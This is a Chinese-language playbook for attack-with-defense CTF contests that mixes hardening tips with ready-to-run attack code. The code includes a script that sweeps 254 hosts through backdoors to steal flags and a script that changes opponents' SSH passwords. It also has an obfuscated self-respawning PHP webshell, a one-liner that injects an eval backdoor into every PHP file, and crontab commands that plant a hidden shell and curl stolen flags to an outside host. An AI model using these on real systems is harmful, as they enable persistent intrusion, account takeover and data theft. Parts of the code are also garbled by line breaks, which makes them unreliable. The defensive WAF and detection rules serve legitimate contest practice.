AWD流程
0X01 比赛开始前
- 登陆平台,查看规则,探索flag提交和获取方式
- 读根目录
- curl flag机
import requests
import re
data = {
'passwd':"system('cat+/home/ctf/flag');" # 读目录获取flag
#'passwd':"system('curl flag_ip');" #curl flag机获得ip
}
list = []
def shell():
for i in range(1,255):
try:
io = requests.get("http://192-168-1-" + str(i) + ".awd.bugku.cn/e/search/result/1.php?s=print_r(readfile(%27../../../../home/ctf/flag%27))")
# list.append(io.text[0:38])
list.append(re.search("flag{.*}", io.text).group(0)[:38])
except:
pass
print(list)
def shell1():
for i in range(1,255):
try:
io = requests.post("http://192-168-1-" + str(i) +".awd.bugku.cn/view/index/images/logo.php",data=data)
# list.append(io.text[0:38])
list.append(re.search("flag{.*}", io.text).group(0)[:38])
except:
pass
print(list)
while 1:
shell()
# shell1()
for i in list:
io = requests.get("https://ctf.bugku.com/awd/submit.html?token=c2c1e4d002daa9eea931888935b0dd86&flag=" + str(i))
# token 根据场景更改
- 观察ssh密码,如为弱密码,比赛开始后马上修改,尝试用脚本修改对手的ssh账号密码
ps:如果比赛方禁止修改,还是要注意。修改自己的密码也可以用这个脚本
# 文件存储格式为
#ip port username password
import paramiko
import sys
ssh_clients = []
timeout = 5
new_password = "p@ssw0rd"
def get_flag():
pass
class SSH_Client():
def __init__(self, host, port, username, password):
self.is_root = False
self.host = host
self.port = port
self.username = username
self.password = password
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout)
def exec_command(self, command):
stdin, stdout, stderr = self.ssh.exec_command(command)
return stdin, stdout, stderr
def change_password(self):
stdin, stdout, stderr = self.exec_command("passwd")
if self.username != "root":
stdin.write("%s" % self.password)
stdin.write("%s" % new_password)
stdin.write("%s" % new_password)
stdout.read()
if "success" in stderr.read().decode('utf-8'):
self.password = new_password
return True
else:
return False
def save_log(self, filename):
with open(filename, "a+") as f:
f.write("%s %s %s %s
" % (self.host, self.port, self.username, self.password))
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print(" python %s [FILENAME]" % (sys.argv[0]))
exit(1)
filename = sys.argv[1]
print(" [+] Loading file : %s" % filename)
with open(filename) as f:
for line in f:
line = line.rstrip("")
data = line.split(" ")
host = data[0]
port = int(data[1])
username = data[2]
password = data[3]
print(" [+] Trying login : %s" % host)
try:
ssh_client = SSH_Client(host, port, username, password)
except Exception as e:
print(" [-] %s" % e)
continue
ssh_clients.append(ssh_client)
print(" [+] Login finished. ")
print(" [+} Got [%d] clients. " % len(ssh_clients))
if len(ssh_clients) == 0:
exit()
print(" [+] Starting changing password. ")
for ssh_client in ssh_clients:
if ssh_client.change_password():
print(" [+] %s (Success!)" % ssh_client.host)
ssh_client.save_log("success.log")
else:
print(" [+] %s (Failed!)" % ssh_client.host)
print(" [+] something like interesting!!! ")
0X02 比赛开始后
第一个加固阶段
- xshell连接,保存密码或者公钥文件
- 备份
- 备份数据库
# 备份
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
cd /var/lib/mysql
mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
mysqldump --all-databases > 1.sql //备份所有数据库
#还原
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysql
mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
- 备份源码
xshell连接,xftp下载源码
- 使用D盾和seay审计web代码
- 预留后门一句话
赛方为了比赛的观赏性和照顾选手的实力差距,会在网站目录下预留后门,这时候需要做三件事:- 修复防守机的漏洞,直接删除后门文件或者注释危险函数(eval)
- 修改攻击脚本,将passwd改成预留后门密码,批量连接shell并提交flag
- 利用后门上传大马
- 后门账户
- 高危函数
- 命令执行函数 exec()、passthru()、system()、 shell_exec()、popen() 等;
- 代码执行函数:eval()、assert()、preg_repace()、uasort() 等;
- 文件包含函数 include() 、require() 等,用正则匹配 grep -r “@eval” /www/,找到后注释掉。
- 预留后门一句话
- 是否运行特殊进程
bash find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
- 关闭不必要端口(慎重)
- 修改弱密码
- 修改后台登陆密码:
mysql -u root -p
show databases;
use test;
show tables;
select * from admin;
updata admin set user pass=‘123456’; //updata 表名 set 字段名 = ‘值’;
flush privileges;
- 修改SQL密码:
方法一:
mysql>set password for root@localhost =password(‘newpwd’);
config.php文件中是有数据库的连接信息,执行完上条命令后更改此文件
方法二:
mysqladmin -u root -p pwd password newpwd
root=用户名; 123456=旧密码; 123=新密码;
- 别名
alias curl='echo fuckoff' 权限要求较低
chmod -x curl 权限要求较高
alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用别名,
chmod -x curl 降权,取消执行权限
/usr/bin curl路径
-
加流量分析
cd /var/www/html/ (or other web dir)
git clone https://github.com/wupco/weblogger.git
chmod -R 777 weblogger/
open http://xxxxx/weblogger/install.php in Web browser
install it
- 加waf
- 先上watchbird,被扣分再换下面这个
#上传打包好的waf.so和watchbird.php,注意关掉通防
php watchbird.php --install /var/www/html
- 或者上Aoi-waf
#本地服务器运行./aoiawd.phar
./tapeworm.phar -d /var/www/html -s ip:port
./roundworm -w /var/www/html -s ip -p port
./guardian.phar -i original -o patched -s ip:port
- 实在不行就按照这个fix bugs
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa
rt $headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //
对URL进行检测,出现问题则拦截并记录filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = filter_dangerous_words($value); //简单过滤
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();
foreach ($_SERVER as $key => $value) {
if (substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str) {
for ($i = 0; $i < strlen($str); $i++) {
$ascii = ord($str[$i]);
if ($ascii > 126 || $ascii < 32) { //有中文这里要修改
if (!in_array($ascii, array(9,10,13))) {
write_attack_log("interrupt");
} else {
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array(
"`",
"|",
";",
","
) , " ", $str);
return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str) {
if (strpos($str, "%25") !== false) {
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
} else {
return $str;
}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str) {
if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {
write_attack_log("sqli");
}
if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {
write_attack_log("LFI/LFR");;
}
} else {
write_attack_log("LFI/LFR");
}
if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {
write_attack_log("EXEC");
}
if (preg_match("/flag/i", $str)) {
write_attack_log("GETFLAG");
}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str) {
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {
$raw = '';
$raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";
foreach ($_SERVER as $key => $value) {
if (substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw.= $key . ': ' . $value . "\r\n";
}
}
$raw.= "\r\n";
$raw.= file_get_contents('php://input');
return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert) {
date_default_timezone_set("Asia/Shanghai");
$data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";
$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if ($alert == 'GETFLAG') {
header("location:http://172.16.9.2/");
} else {
sleep(15); //拦截前延时15秒
}
exit(0);
}
?>
不死马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(_FILE);
while(1){
file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(112).$_uU(64).$_uU(115).$_uU(115).$_uU(119).$_uU(48).$_uU(114).$_uU(100).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');
system('chmod 777 .config.php');
touch("./.config.php",mktime(20,15,1,11,28,2016)); // pwd=p@ssw0rd
usleep(100);
}
?>
对所有php文件插入一句话木马:
system/exec/shell_exec/passthru
('find /var/www/html -type f -path \"*.php\" | xargs sed -i \"s/<?php/<?php \\n if(md5(\$_POST[\\\"pass\\\"])==\\\"3a50065e1709acc47ba0c9238294364f\\\"){@eval(\$_POST[a]);};\\n/g\"')
之后的加固阶段
流量分析
如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。
克制不死马
使用条件竞争的方式,不断循环创建和不死马同名的文件和文件夹
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
攻击手段
参照web总结
Crontab写马和提交flag
写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'462d4a0e7cedd6b024a4d99f10c614d1\'){@eval(\\\\\\\\\$_POST[cmd]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
提交flag
system('echo "*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d \'flag=\'$(cat /home/web/flag/flag)\'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY" | crontab;whoami');
linux常用命令
ssh <-p 端口> 用户名@IP
scp 文件路径 用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill - <PID>
#封杀某个IP或者ip段,如:.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机,如123..
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -